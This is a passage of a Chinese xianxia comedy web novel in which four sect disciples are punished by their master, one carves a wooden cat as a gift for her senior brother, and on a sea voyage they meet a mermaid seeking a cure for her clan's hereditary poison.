话说到这,三人默契地瞥了眼在前方御剑飞行的大师兄,把脑袋凑到一起嘀咕:算算出来一趟,还真是闯了不少祸呢。 第48章 顾梦真指曾换月:“你,偷溜下山,还死不悔改不跟我回去。有罪!” 小师妹撇嘴。 顾梦真又指自己:“我,捉拿师妹失败,还掺和胡闹。罪加一等!” 说着就哭丧起脸来。 最后又指石映心:“最可恶的是映心,放走了杀人恶鬼,惹毛了黑无常和妽荼仙尊,弥天大罪!” 总结:“师父要气死啦!” 石映心后知后觉地皱起眉头来:“啊,那我要受很多罚了。” “你才知道啊?”顾梦真啧啧啧,又瞥了大师兄一眼,忽然偷摸摸变出什么东西来,“快快,先穿上我的护背垫和护膝垫,等会少不了跪啊打板子的。” 石映心熟练地佩戴上作弊神器,心里就有了一些挨打的底气。 二师兄又教她:“等会师父骂什么你就说‘知错了’,知道吗?” “知道了。” 四人回了归壹派,石映心先去递交任务,心不在焉地拿了奖赏,慢吞吞地御剑去了云雨峰,一进殿就看见大师兄二师兄小师妹三人跪坐一排,中间还贴心地余了个位置呢,师父坐在太师椅上喝茶,见她来了也没抬眼。 石映心收了剑走进去,麻溜地跪下了。 呵呵,都到齐了。慕雲放下茶盏,先深呼一口气,第一句话还算平和:“奇了怪了,都跪着做什么?” 四人:→→ 小师妹先嚷道:“师父,我有错!我偷溜下山,还死不悔改不跟二师兄回去。我有罪!” 二师兄紧接着:“师父,我也有错!我捉拿师妹失败,还掺和她们胡闹。罪加一等!” 接着就是三师妹了:“师父,映心最可恶了,放走了杀人恶鬼,惹毛了黑无常和妽荼仙尊……弥天大罪!” 大师兄一板一眼道:“师父,明易没看好师弟师妹,有辱师父使命,请师父责罚。” 呵呵呵呵,呵呵呵呵。 慕雲看着四个徒弟,真是气打四处来:“都知道自己错在哪,怎么还犯错!?” 四人眼观鼻鼻观心。 师父:“说话啊!” 小师妹:“人总会犯错的嘛……” 二师兄:“是啊,犯错才会成长……” 三师妹:“映心知错了。” 大师兄:“请师父责罚。” 慕雲:…… 养到四个会认错的好徒弟。 “都给我滚出去!去戒律堂领了板子再来我殿前跪两个时辰!” “……是,师父。” 领板子这事,师弟师妹们是有妙招的,石映心还要拉大师兄下水,但被后者清高地拒绝了,于是就明易一人真的挨了板子,她还在边上不解地说:“大师兄,你何必敬酒不吃吃罚酒呢?” 明易:…… 曾换月:“师姐,这句不是这么用的。” 石映心:“好吧。大师兄,你何必不识好歹呢?” 明易:………… 曾换月:“……师姐,我们快去罚跪吧。”别给大师兄气吐血了等会。 四人跪排排受罚,便是一起受罚的幸福。这几个开密音说小话,叽叽喳喳嘻嘻哈哈,吵得明易不得安宁。骂嘛只消停一会,等会又叽叽喳喳嘻嘻哈哈……真的服了。 后半夜下起雨来,还差半个时辰的时候慕雲从殿内背着手走出来,让他们滚回去,瞧着真碍眼。 四人欢喜谢过师父,赶紧回去休息了。 石映心落剑院中,瞧见大师兄也跟下来了,奇怪道:“大师兄,还有什么事啊?” 明易走来坐在石桌边,掏出药罐往桌上一咚:“换药。” “差点忘了。”她坐下来把衣袖卷巴卷巴起来,看见细布上有血迹渗透出来,又要把衣袖翻过来看,“我袖子上是不是沾上了?” 明易把她乱动的手腕捉住:“你消停会好吗?” “好。” 石映心看大师兄给她换药,伤口是没什么好看的,自然看去他脸上,微微蹙着的俊眉,专注的眼眸,鼻梁像利剑一般斜插在脸上,幅度这么正好,还有轻轻抿着的双唇…… 她从来没这么仔细地打量过一个人的脸,可能是别人不够好看,她提不起兴趣;可能是鲜少有和谁这样静心相处的时候,恰巧她又照不了面前的人……总之看来看去,大师兄真好看啊。 大概这就是换月所说的蚁惊之貌吧。 石映心学以致用了。 对了:“大师兄,你为什么要挨板子?” “做错事就要受罚。” “我和二师兄换月就没挨板子。” 明易瞥她一眼:“你们投机取巧还有理了?” “不是这意思。”石映心叹了口气,无奈大师兄的死脑筋,“只是看你受罚,我心里也不好受。” 缠细布的手一顿,继而速度飞快起来:“管好你自己就行。” 药换好了,明易站起来,指着桌上的药罐说:“明日开始你自己换药,一日一次,再换五日。” 石映心把袖子放下来:“好。” 大师兄交代完就飞走了。石映心把药罐收起来,打了个哈欠——终于能在她的石头洞里好好休息了! * 舒舒服服地休息了两日之后,石映心想起做任务得来的奖赏,拿出来一看,有一小袋懒得数的灵石,一小袋她没兴趣的灵矿,还有二阶、三阶的防御宝器各一件。 石映心琢磨了一下,把灵矿给了二师兄,两件防御宝器给了小师妹;这时候还记得师父给她垫钱买剑的事情,于是要拿灵石去给师父,师父却说“我还没无用到要你孝敬的时候”,不肯收,又说过段时间要开集市,让她留着灵石买东西。 她便带着一袋子灵石回去了。晚上换药的时候想起大师兄,心说给二师兄小师妹都送了礼,是不是也要给大师兄送点?大师兄对她也好,她不能厚此薄彼…… 于是搜了一屋子和储物袋,找出一些破烂,打量着沉思了一会,觉得都不怎么合适。 唉,好难,不送了。 她轻飘飘地放弃了这个轻飘飘冒出来的念头。 休整状态之后,石映心便开始跟着陈久师叔练元婴期剑法,每日早起晚归地在黑竹林练剑,明易偶尔来陪她练一会,不过他在戒律堂做事,平日里也比较忙,不能陪她练很久。 二师兄收了她的灵矿之后,说要给她炼一个能自带澄净诀的剑鞘,本是做个三阶小物件,结果练的时候一不小心破境了。 人还坐在那里施法炼器呢,猝不及防地就招来了乌云密布,于是就硬生生在炼器房里被劈了九道天雷,劈坏了两个炼器炉、四个防御宝器,还有边上放着的若干灵器灵矿珍稀草药等等。 只能说炼器房里宝贝太多,天雷有的是地方劈。 等天雷渡过,众人只听里头传来凄惨的哭声。打开门一看,屋里一片废墟,顾梦真被劈成了乌漆嘛黑人,全身上下唯一白的地方就是脸上泪水洗出来的两道,他嚎啕大哭着:“怎么破个镜还变穷了啊呜呜呜呜!” 好惨啊,二师兄。 石映心走进去瞧了瞧,看见她新出炉的剑鞘在废墟中发出异样的光彩,她拿起来稀奇地打量,精美的花纹错落有致,她是看不懂的;只是一条似天雷尖锐似游蛇灵动的纹路随鞘身缠绕,随之望去,有一倒三角的图样稳稳当当地停在了鞘口。 “好漂亮的剑鞘。”石映心很满意,对哭泣的二师兄笑道,“谢谢二师兄。” 她二师兄:啊!!! 唉,这自然是怪不了师妹的,天意如此喽。 * 小师妹约她去逛集市。 归壹派的集市两个月一回,每回都很热闹,有炼器的卖灵器的,有炼符丹的卖符丹的;还有卖山上采来的草药的、捉来的小兔子小老鼠小蛇的;更有卖一些杂七杂八自己用不上的…… 曾换月常常要在卖话本的小摊前停留很久,一是看有没有自己喜欢的;二是分析近日什么话本最畅销,她也要赶潮流写起来;三是和摊主沟通,能不能帮忙把她写的话本带下山找书肆 ,看看有没有掌柜赏识…… 这个时候石映心就自己去瞎逛,逛一圈回来再和师妹一起回家。 她逛到卖木雕的摊位前,看见地上铺着一块摊布,布上摆了一大堆大小不一的木雕,有人样的、有花样的、猫狗样的,还有炼丹炉、宝剑样的……虽不算逼真,但都圆润可爱,线条走势之间很有几分神似。 摊主是个女弟子,盘腿坐在那低头雕木头,时不时抬头招呼客人:“随便看看啊,价格划算,两件九折,三件八折,纯手工制作,无法术添加!” 除了石映心外,边上还有几个女弟子弯着腰或是蹲在那,兴致勃勃地挑选着。 石映心站在人后透过夹缝打量着,目光飘忽间看见一只木雕猫,让她想起大师兄变成的那只玄猫,这时候那个轻飘飘的念头又飘过来了,石映心想,要不就买了这只猫送给大师兄? 她伸手要去拿,但有一只更快的手先捉住了那只木雕猫,前边那个女弟子高兴道:“三件八折,我已选了两件,那就再添这只猫吧。” 摊主道:“好,一共六灵石。” 木雕猫就这么被卖走了。 这几位女弟子是一起来的,买了东西后就一道离去,摊位前便空荡下来。石映心走上前蹲下来,打量了一遍,没再找到木雕猫,便问摊主:“这位道友,你能不能再雕一个方才那个道友买走的猫?” 摊主从手中活里抬头说:“就是再雕一只也不一样的,纯手工雕刻,每一件都独一无二。若是你喜欢,我二月后还在这里摆摊,到时你来看看?” 二月后? 如今她入了元婴,是要下山做任务的,二月后的集市她不一定还在门派里……—— 作者有话说:差点忘记祝大家七月快乐了 第49章 见她面色犹豫,摊主问道:“道友,你买木雕是要送人还是自用?” 石映心说:“送人。” 摊主闻言便笑道:“既是送人的,不如你自己亲自雕一件?显得更诚心些。我这里有处理好的桃木,也有我定制的趁手工具,可以便宜卖你一套。” 石映心瞅了瞅她手中的半成品小猪,似有些犹豫:“我从没玩过这个。” “很简单的,你瞧。”说着手上几下欻欻,猪鼻子就雕好了,“一开始上手生疏,不过多雕一会就熟练了。不如这样,我少赚点,多送你一块桃木?” 石映心看她雕得确实很简单啊,再问价格,才两灵石,买不了吃亏买不了上当,于是就买了下来。 “师姐你上当了!你吃亏了!”曾换月一见她买了这玩意,啧啧摇头道,“就这小刀和两块木头,居然敢卖你两灵石?你还不如买一个已经雕好的呢!” “……好像也是。” 石映心想起一个做好的木雕似乎也是差不多的价格,不过既然都已经买了,两灵石对她来说也不是不能浪费,便不是很在意。 当天回了石头洞,她就坐在院子里雕刻起来,一开始是兴致勃勃的,直到雕完之后,看着面前摆着的小破烂,不得不沉思起来。 嗯……也许只是这个角度看不像? 挪到侧面看看……嘶。 后边呢?啧…… 翻过来看看……连个动物样都没有了。 她翻来覆去地看了会,就看出一个像猪尾巴的猫尾巴,就想着要不送给大师兄的时候说是送的小猪好了……哦,差点忘了还有一个桃木块! 她这时候郑重起来,决心要做好准备再雕,那总得练习一下吧? 于是左右看了看,瞧见了院中的碎石,便捡起一块半个拳头那么大的,用法术附着在小刀上一下一下雕刻……很快就进入了心无旁骛的状态。这么一块石头一块石头地练习下来,居然就过了一个晚上。 天色蒙蒙亮,石映心看了看摆了一个桌面的破烂们,打了个哈欠,回洞府里睡了一个时辰,眼睛都睁不全地去黑竹林练剑了。 练完剑回来的时候带了一大袋石头。 她莫名着迷上雕石头了,从没想过自己还有这样的兴趣。雕到后边便不只是为了给大师兄送礼物,更是想试试看自己究竟能雕到如何程度;就像练剑一样,无数次地练习相同的剑式,不只是为了熟能生巧,而是想看看能把剑式发挥到多少威力。 这样练剑、雕石头、练剑,雕石头的枯燥日子她过了快半月,直到这日晚上她瞧着手上的石头猫,和她的传音鹤有几分神似的古怪和潦草,便知道了似乎目前只能雕到这里。 那就这样吧。 她拿出最后一块桃木,熟练地雕了一只小猫出来,还记得用墨水把它涂黑,放在屋外晒一晚月光,吹一吹夜风,明早就能干了。 石映心送礼自然搞不了礼盒和仪式那套,她去戒律堂找大师兄,招招手把人家叫过来,然后跟掏甜甜果似的把木雕猫掏出来放他手心里,轻松道:“大师兄,送你。” 明易看着只有他手掌大的木雕猫,第一眼以为是她不要的破烂,毕竟他先前过生辰的时候她也是送些很古怪的东西,什么戴腻了的发簪、翻烂的话本、从顾梦真那取来的然后玩坏的木鸟等…… 其实她是想投其所好的,比如送师父酒,送顾梦真灵石,送曾换月话本和笔纸……也许是她不知道他喜欢什么……倒也不怪她,他确实一心修炼,没有旁的爱好,也为难她苦思冥想。 也许每次都有她自己的逻辑吧? 他猜这次送这黑猫给他,估计是想到他先前化作黑猫的事了。 “多谢。”明易收下礼物,朝她笑了笑,“不过还未到我生辰,为何送我礼物?” 石映心说:“之前做任务得了奖赏,送了换月和二师兄,所以也想要送大师兄你。” 做任务的奖赏?那都是一个多月前的事了…… 罢了,她本就是想一出是一出的。 明易道:“不用特地送礼给我,我什么都不缺。” 石映心打量他浅浅的笑脸:“二师兄和换月收到我的礼物都很开心,大师兄你不开心吗?” “开心。”明易无奈笑道,“可总不能为了开心天天收你的礼吧?” 石映心想了想:“那倒也是。” 这时候有人从戒律堂出来叫明易,似乎是有要事,明易应了一声,和她道:“我有事要忙,你快回去吧,过两日我再去黑竹林陪你练剑。” “好。” 她转身要离开,走了两步看见莫默师兄抱着胸站在那看着她,见她看来,就嬉皮笑脸地眨眨眼睛。 石映心礼貌问好:“莫默师兄。” 莫默凑过来问:“你刚刚给你师兄送的什么好东西?奇珍异宝?看着黑乎乎的,有什么妙用?” “没有妙用,就是普通的木雕。” 莫默一愣:“就只是木头?” “就只是木头。” 莫默的眉毛挑起来:“你送明易木头做什么?” 石映心就把原因复述了一遍。没想到莫默听后脸色很是古怪,似有些疑虑,似有些纠结,那粗粗的眉毛跟毛毛虫似的扭来扭去,看着很滑稽。石映心觉得莫默有很多话要说,但他只是兀自面色抽筋了一会,就摇摇头道: “你真是个好师妹, 明易真幸运啊,哈哈!” 石映心:OO 她又不傻,哪里看不出他说的是违心话,当即照了他一下,顿时自己的脸也抽筋起来,口吐莫默言道:“映心真笨,明易那么现实的人怎么可能喜欢这些没用的小玩意呢?她根本就不会送礼嘛。算了算了,笨师妹也是好心……唔!” 莫默心惊肉跳地把她嘴巴捂上,尴尬道:“映心,我不是这意思……” 石映心把他的手拿下来,盯着他问:“大师兄真的不喜欢我送的礼物?” 莫默哪里还敢回她,先是下意识捂住了嘴巴,又意识到什么,腾出一只手来再捂住自己的眼睛,这下脸上只剩下鼻子。他口齿不清道:“我乱说的,映心你别信啊!对不住对不住……” 说完就跑了。 石映心望着他御剑逃跑的背影消失不见,慢慢地收回了视线,虽然知道莫默师兄并无恶意,但心情难得郁闷起来。 都怪大师兄,她照不了他,哪里知道他喜欢什么呢?只能送自己喜欢的了。 哼,就是不喜欢也受着吧,谁叫他不让照! * 有戒律堂的同僚从山下回来,带来一些时令糕点,分给了明易一小包。明易本来是不收的,对方道:“这糕点可有名了,我还排了一会队诶,你不爱吃,带给你师弟师妹尝尝呗。” 明易想想也是,道了谢后便收了下来。 今日他收了石映心的礼物,正好礼尚往来地送去给她尝尝好了,她喜欢尝试各类新事物,吃的喝的好玩的。 戒律堂办完事后已是戌时,明易御剑飞到石头洞,院子里空无一人,洞府里似乎有些光亮,他想这个时间石映心应该是没睡,正要去敲响风铃喊她,余光却瞥到院子边上有一堆石头,像一座小山似的静静坐在那里。 她又在捣鼓什么奇怪的事情? 明易有些不好的预感,想起她小时候有次莫名想在院子里挖个坑养鱼(他合理怀疑是看哪部话本看来的),于是和换月在院子里挖了几个坑,又怕被师父骂就瞒着师父,每个坑上盖了纸施加幻术,结果一次师父来院子里,一脚踩到坑里崴了脚——对大乘期修士来说确实是奇耻大辱的伤。 当时她去罚跪,坑还是他来填的。 为防止师妹搞事,明易警惕地走过去视察那堆石头,方才远远的看不清,走近一瞧,才发现这一块块石头都是奇形怪状的……猪……狗?猫? 他拿起一块看看,正巧这一块是比较像猫的,明易意识到什么,变出木雕黑猫对比了一下,又朝那堆石头望去,底下的丑到惨不忍睹,越到上边越有了模样,他看到这些哪里还有不明白的。 所以,其实…… 这不是一个她玩腻之后随手扔他这的木雕黑猫。 明易站在那堆石头前一时忘记了动作,也像一个人形石雕。他盯着手中的木雕黑猫,他师妹还给它画了两个圆眼睛,两点瞳孔正呆呆地注视着他。他感到心上沉沉的,仿佛也堆了一些石头,还未等他整理好思绪,忽然听到一声: “谁在外面?” 石映心来到院子里,空空荡荡的没有人,不过石桌上好像放着什么?走进一瞧,是一包糕点,油纸上写着“豪吃斋”三字。 谁留了糕点给她,却不打一声招呼地走了呢?不是师父二师兄师妹,她们定会说一声……大师兄?有可能,不过难道他忙到来不及知会一声? 石映心懒得多想,打开油纸一看:鲜肉月饼。是了,快到中秋了。她一边往屋里走一边拿起一块吃。 好吃! * 二师兄破境之后一直不肯去万事树下领因果牌,说要和大家过了中秋之后再下山;前两日过了中秋,他实在没借口了,被师父骂了一顿后磨磨蹭蹭地找到大师兄和三师妹,说要一起组队。 明易今年的任务上半年就完成了,平日就在戒律堂做事。师弟苦哈哈地求过来,他没多考虑便答应了。 石映心才完成一件,自然没理由不同意。曾换月因此闹腾起来,她第一次这么着急破境,这时候看元婴境界真是遥遥无期啊。 第50章 “你想想办法嘛师姐~~”当然是求到她师姐头上来了,“想想办法想想办法~~你也不想我一个人孤零零地待在山上吧呜呜呜呜……” 石映心也有些苦恼:“可是大师兄不好糊弄……” 曾换月朝她眨眨眼睛:“其实只要瞒过一两天就好了,到时候离门派好远,他总不能把我再送回去吧?” “那倒也是。”石映心沉吟片刻,很快想到办法,“对了,我们可以这样……” 曾换月细细听来,眼前一亮:“好主意!师姐你太聪明了!!” 二人便商量好了。 当晚慕雲还来找三徒弟了,经过上次一遭,她不得不生起一些防备心,因此来问她有没有和曾换月暗中勾结。 石映心摇摇头:“没有啊,师父。” “真的没有?” “没有啊,师父。” 慕雲眯起眼看她:“我今日来问你,是给你一个机会;若是之后让为师发现了,你便有包庇之罪、欺师之罪、死不悔改之罪!” “……没有的,师父。” 慕雲盯着她无害纯净的眼神看了会,摸摸她脑袋就走了。其实心下还没全信,她是知道门下几个徒弟的德行的:如果是梦真和换月,嘴上同你嚷嚷、和大师兄顶嘴,其实内里多少有些敬畏,故一般是听话的、不会做出格的事。 但换做石映心,她要是想干什么坏事,明面上和你说“可是大师兄……”“可是师父……”好像很乖呢,其实只是敷衍地害怕一下,然后就爱干嘛干嘛了,我行我素得很。 至于大徒弟,他是最叫人省心的,这没疑问。 慕雲又去了顾梦真的洞府把他警告了一番,看他反应是没有这回事的,于是安心地走了。 顾梦真择了个良辰吉日去万事堂领了因果牌,翻面一看,上头写着: 【今日方知我不是我】 顾梦真两眼一黑,也是有点不知天地为何物了。晕晕乎乎地出了万事堂,师兄师妹都在堂前等他,见他一脸哀戚,拿过因果牌一看,曾换月叫道:“怎么又是诗词啊!” 石映心一指牌面某处:“这处还有提示:合欢宗,鲛人。” 明易轻轻颔首:“合欢宗毗邻海域,南海确实是鲛人聚集之地……听说合欢宗还会收有资质的鲛人做弟子。” 鲛人?那不就是美人鱼吗?曾换月的心脏突突起来,暗想她可不能错过这次看童话公主的好机会…… “咳,”她挠挠脖子道,“二师兄,你们什么时候走啊?” 顾梦真叹了口气:“今日收拾好行囊,明早就走了。” 曾换月偷偷瞧一眼她师姐:“……哦,我上次好像落了只笔在你那……” “上次是哪次?” “哎呀,总之是落你那了,等会去你洞府找哈!” 顾梦真被糊里糊涂的任务搞得心情难过,也没精力追究了:“好吧,你别把我屋里的东西弄坏就行。” “好嘞。” 撇开这两个各怀心事的,石映心倒是很认真地和大师兄讨论起来:“我不是我,是说此人有多重身份吗?比如看起来只是一个邋里邋遢的流浪汉,其实是幼时被宫女舍命抱出皇宫的落难皇子……” 明易:……你到底又看了什么话本? “也许只是字面意思,也许有更深沉的含义,”明易颇有经验道,“多想无益,等去了合欢宗,问问和鲛人有关的线索便知晓了。” “好。” 有了前车之鉴,慕雲强制小徒弟此次必须来送行。曾换月于是就来了,拉着她师姐恋恋不舍,叫她记得带南海特产回来。 石映心没想到她这么会做戏,说得又很像那么回事:“……好,我记得。” 曾换月装模作样地抹眼泪:“呜呜呜呜,师姐你要想我……” “……嗯。” “行了。”慕雲把她拉回来,嫌弃道,“哭哭啼啼的,待在门派里这么舒服还苦了你了?” 曾换月:“呜呜呜呜…… ” 有明易带队,慕雲是放宽心了不少,叮嘱几句就放三个徒弟走了;回头一看,小徒弟擦擦眼泪,打了个哈欠道:“师父好困啊,我回去再睡会。” “……去去去。” 三人行没走出多远,石映心忽然说自己有东西忘拿了,要御剑回洞府去;她两个师兄不疑有她,就在远处等待,果然没一会就回来了。 顾梦真:“你忘带什么了?” 石映心:“话本?” 顾梦真:? 等等她刚刚说的是问句吗? 不管如何是下山了。和其他宗门相比,合欢宗和归壹派其实算是邻居,相隔几座城池,从归壹派仙门驿站传送去合欢宗仙门驿站不过一刻钟,只是今日出了些意外,仙门驿站的看守大哥也很苦恼: “不知合欢宗那边的传送阵法出了什么故障,前两日都传送错地点了,搞得我们也很头疼,现下已经叫人来修缮了……你们要去合欢宗的话,不如先传送去南海驿站,然后再从那边坐船去合欢宗?” 师兄妹三人面面相觑,那就只能这样了。 * 南海驿站。 先前看海,都是御剑飞过时的遥遥一瞥,如今南海就在眼前,和从上头看下去的那片晶莹地毯是不一样的,海风呼呼吹来,水天是交相辉映的蓝,看得石映心面色微微怔然,显然是被大海惊艳到了。 世间之奇妙,果然还是要亲自来看看。 从驿站出来就能瞧见不远处的沙滩边停着一艘双层楼船,规模可观,岸边还绑着几个附近渔民打渔的小渔船,不过靠这么小的船过海是不可能的,他们自然是要坐大船。 这会已经有人在排队上去,一群凡人中还有穿着合欢宗粉色门服的弟子。石映心三人买票上船后,得知从这里去对岸要开整整一天一夜,要等明日这时候才能到了。 石映心先前坐的是天上飞的云舟,第一次坐海上的船,心情有些稀奇,虽说这船和云舟大差不差,甚至还要破旧一些,但她也是睁着眼睛四处打量,看没有储物袋的凡人背着或是提着重重的行囊从她身边路过。 二师兄喊她:“映心,快去舱室里休息吧。” “好。” 到了舱室,石映心把门和窗都关好了,又施了法术隔绝房间的动静,这才从储物袋里拿出她二师兄的星月葫芦,将小师妹放了出来。 曾换月大喘气:“憋死我了!总算能出来了呜呜!” 石映心给她倒了盏茶:“你要什么时候才能正大光明地出来?” “嗯……大概要等进了合欢宗之后了。”曾换月喝茶喘气,“嗐,到时候当着合欢宗那么多人的面,就是顾着归壹派的面子,大师兄也不会逼我回去吧?” 石映心点点头:“那这一天一夜你就待在屋子里吧。” 曾换月说好啊好啊。 结果没在床上躺一会她就晕船了,回到星月葫芦里才舒服一点,但还是觉得闷闷的透不过气,等天色暗下来之后,便求她师姐带着葫芦出去吹吹风。 石映心便带着葫芦出去了,没想到外头不只是天黑了,还乌云密布、寒风阵阵,像是要下雨的前兆,甲板上没几个人,这倒是方便了她们。石映心刚到外头,脚下的船只明显一晃,不过很快就恢复了平静,她就没在意。 大海变黑了。 石映心走到护栏边上望去,一片黑茫茫中时不时游过一点光亮,和白日相比,此时的海显出深不可测的危险。海面上忽然打起了雷,仰头一看,原来是倒映的天色。 她对葫芦说:“换月,要不你出来透透气?马上要下雨了。” 曾换月说好啊好啊,下一秒就从葫芦里出来了。她拿起葫芦左右转了转,嘀咕道:“二师兄这葫芦倒是方便,就是不太防晕船……奇了怪了,明明我坐云舟不晕的,怎么坐船晕呢?” 石映心说:“云舟更稳定些,船摇摇晃晃。” 曾换月说那倒也是,然后双手打开怀抱大海,狠狠地呼吸了一口海风。 当此时,船只猛地一晃,曾换月只觉自己像盘里的豆子、轱辘地就被倒了下来,吓得惨叫一声,连忙抓住了边上的护栏,于是双手空了,于是星月葫芦就飞了出去,于是她眼睁睁地就见那葫芦往深不见底的黑海掉去—— 曾换月尖叫:“啊!我的葫芦!!” 下一刻,又有一白色的身影如飞蛾扑火一般跳入了海中。 曾换月惨叫:“啊!我的师姐!!” 她扒拉着栏杆往下看去,已经什么也瞧不见了,天上落下雨滴来,砸在海面上跳起水花,又滴在曾换月的头上,让她回过神来急忙往舱室跑去——糟了,师兄他们是住哪间屋子啊!! 先不说闯祸了的小师妹,再看石映心这边,她跳入海中之后,很快就瞧见了在发着莹莹的光的星月葫芦,虽说有浪花阻碍,但还是叫她成功拿到了。正打算往上游去,余光却瞥见前方有什么东西游了过来? 这会她已经憋了有一会的气,其实应该上去了,但是那个东西……不,那个人影……不,那个鱼影……奇怪,到底是什么啊? 俗话说好奇心害死猫,应该上岸的石映心却往好奇地往那个人影游去,海水太黑,不靠近些实在是瞧不清啊,可就在她将要看清那不人不鱼的东西是什么的时候,一个滔天巨浪打了过来—— 憋气的石映心:晕厥ing…… 好了再看船上吧,被惊慌失措的小师妹大喊大叫出来的明易和顾梦真,此时也来不及追究某人的罪过,听说石映心掉入了海里,连忙淋着雨来到甲板上往海面上看去——能看到什么就怪了!【】 50-60 第51章 明易不再犹豫,御剑往海面上飞去,顾梦真和曾换月坐上大鹏展翅跟在后头,几人在雨中高声大喊:“映心!”“师姐!” 可惜每一声都淹没在雨声水花之中。 就在明易决定要入水找人的时候,曾换月忽然叫到:“是星月葫芦的光!” 他们寻光而去,就见那光越来越靠近水面,然后“哗啦”地冒出了两个人头——一个是他们找的人,一个是陌生的女人面孔。 “嗨……”女人抹了把脸,朝他们略有些尴尬地一笑,“你们谁啊?” 曾换月哭着说:“谢谢你救了我师姐!” 女人一愣:“啊?原来是你们认识的人,我还以为……”后面的声音就被水声淹没了。 明易把还在晕厥的石映心接过来,顾梦真让女人到他的大鹏展翅上,但她却摇摇头说:“不用,我游过去就好了。” “可是浪这么大……” 女人神秘一笑,忽地跃入水中,在几人惊讶的视线中飞快地往前游了一会,再冒出来的时候除了她的脑袋,还有一条灵活的……鱼尾巴。 曾换月目瞪口呆,神色奇异:“是……美人鱼……” 美人鱼是什么?她叫泉芷。 他们终于回到了船上,曾换月偷偷关注着泉芷,见她出了水后鱼尾果真就变成了人腿,低声惊叹:童话里说的都是真的! 泉芷跟着几人进了屋里,见明易把石映心放到床上,凑上去说:“她定是溺水了,你不方便,我来把她救醒!” 明易以为她们鲛人族是有什么好办法,点点头便让了位置。却见泉芷坐在床榻边上看了看石映心,然后撅起嘴巴,附身而去—— 明易:OO 他师弟师妹:OO 泉芷:*3* “你做什么!” 眼见两人要亲上了,明易紧忙把人隔开,脸色微愠:“这就是你的办法?” 泉芷一脸无辜:“是啊,吹气法嘛,你是男子不方便。” 明易:…… 她后边两个也吓死了,曾换月连忙说:“还是让大师兄用法术逼出师姐体内的水吧……” 话音未落,就听床上传来几声“咳咳”,石映心侧过脑袋吐了几口水出来,自己醒了。 曾换月这时候又补充道:“不过我师姐法力高强,就是放着不管也会醒来的。” 泉芷恍然大悟地笑了笑:“原来是这样,你师姐真厉害,她叫什么名字?” “……石映心。” “映心,你没事吧?”明易将她扶起来坐好,取出帕子让她擦嘴。 石映心咳咳两声:“我没事……星月葫芦……” “星月葫芦我收起来了。”顾梦真凑上来道,“师妹啊,哪有人会为了只葫芦跳海?你叫我们担心死了!” 曾换月也说:“是啊师姐,顶多我被骂几句、再欠些债嘛。” 石映心顺了顺气道:“可是师兄你不是说葫芦很贵吗?而且当时葫芦刚落下去,我以为很快就能取了上来,没想到看见了……” 话说到这里,她忽然发现屋里多了一个人:“你是谁?” 泉芷指着自己呵呵一笑:“我就是救你上岸的人!我叫泉芷。” 曾换月压着激动说道:“师姐,泉芷就是鲛人!” 鲛人?石映心便想起被海浪打晕前瞧见的那人不人鱼不鱼的身影,心说原来是她啊。不过,她很快又想起更重要的事,看向大师兄道:“大师兄,合欢宗,鲛人。” 明易轻轻叹了口气:“你先好好休息,明早再说。” 石映心点点头,几人便要往外边走,只有曾换月扑了过来:“师姐,今晚我好好照顾你……” “曾换月。”明易站在门口盯她,语气还算平和,“出来一下。” 曾换月朝她师姐露出哭戚戚的表情,但石映心有什么办法,只能安慰她:“没事,早死晚死都是死。” 曾换月:…… 说的真有道理,她还是乖乖出去挨骂吧,争取一个求饶从宽。 隔日早上。 几人聚在屋里说话。 原来泉芷便是合欢宗的弟子,前几日回家探亲,来不及赶上早上的起航,只好半路上船补票了。得知他们的任务之后,泉芷挑起眉道:“除了那段诗词我没读懂,合欢宗和鲛人,皆与我有关啊,也许我能帮上你们的忙。” 石映心指着桌上发光发热的因果牌道:“你定能帮上忙,因果牌好像就是要找你。” 没想到这次的任务对象锁定得这么快,大伙都默默打量起泉芷来。曾换月问:“泉姑娘,你真不知道这句诗是什么意思?” “不用这么客气地喊我,叫我泉芷就好。”泉芷摇摇头说,“真不知道,从没听过。” “也许我们是要帮你什么忙。”顾梦真问,“你近日可有什么烦恼?” “烦恼……”泉芷眨眨眼睛,看了看石映心,又看向明易,最后收回视线,点点头道,“那倒是有的,还是一个大烦恼,与我的性命攸关。” 明易觉得她的目光有些古怪,不过还是稳重道:“请说。” 泉芷开朗笑道:“我现下也回过味来了,看来是上天待我不薄,特地将你们送到我面前,定是要为我解燃眉之急的!” 曾换月好急地问:“什么燃眉之急?你说呀。” 泉芷将笑容对准了明易:“找个男人生孩子。” 四师兄妹:OO? 泉芷:“我看你们大师兄就很不错。” 四师兄妹:!??! 明易当下冷了脸:“泉姑娘,请不要戏弄我们。” 他师弟师妹们也觉得是如此,捂着嘴巴偷笑起来。 “谁戏弄你们了?”泉芷无辜道,“我说得都是真的,我们鲛人一族都是这样,天生身怀奇毒,若不在二十岁生辰之前诞下一子,便会毒发身亡……很惨的。” “啊?”曾换月听得眼睛都瞪大了,“那生了孩子之后呢?” 泉芷说:“生了孩子之后,毒素就到孩子身上喽,而且我们只生女儿;不过在这之后我们便会修为大减,至少退两个境界;而且每年都要和男人双·修一次缓解毒素……所以我们才聚集在南海,边上就是合欢宗,届时也方便。” 顾梦真啧啧道:“其中竟然有这样的缘由。” “这也太惨了吧?”曾换月皱起眉头,“那你们岂不是很不自由?这奇毒究竟是怎么回事?” 泉芷耸了耸肩,一副习以为常又很无奈的模样:“不知道呀,我们也在想办法。先辈们觉得此事和合欢宗有关,所以每个鲛人在十岁之后都会去合欢宗求学,一边修炼本事一边找解毒的方法。可一眨眼几百年过去,还是这般,如今是到我这代了,也不晓得我能不能找到破解之法。” “一定有办法的。”曾换月拍拍她师姐的肩膀保证道,“因为你遇见了我们!” 泉芷原先麻木的表情因她这话笑开:“我想也是这样。实在不行,就借你们的大师兄一用呗。” 明易:? 他绷着脸道:“我不会答应你。” “你别这么无情嘛。”泉芷朝他眨眨眼睛,“我选你并不是因为我钟意你,只是因为你很优秀,我在合欢宗也听过你的大名呢。我们族长说了,就是为了活着也不能随便找男人结合,要生就生优秀的孩子,一代比一代聪明厉害,我们族的奇毒才有机会可解。” 这下就连石映心也觉得很有道理了:“你们族长说得不错。” 泉芷又朝她眨眼睛:“是吧!” “不必说了。”明易忍无可忍道,“总之,我们会帮你找到解毒之法,说这些便无意义。” 泉芷心说她们鲛人族几百年找不到的办法难道你真有办法找到?但面上只是秀眉一挑,轻快道:“好啊,我就先多谢你们了。” 开完小会,明易便起身离开了。石映心看他的背影,看出一些不高兴的逃避,奇怪地问:“大师兄为什么生气了?” 泉芷撑着下巴看她:“唉,我想肯定是因为我了。” 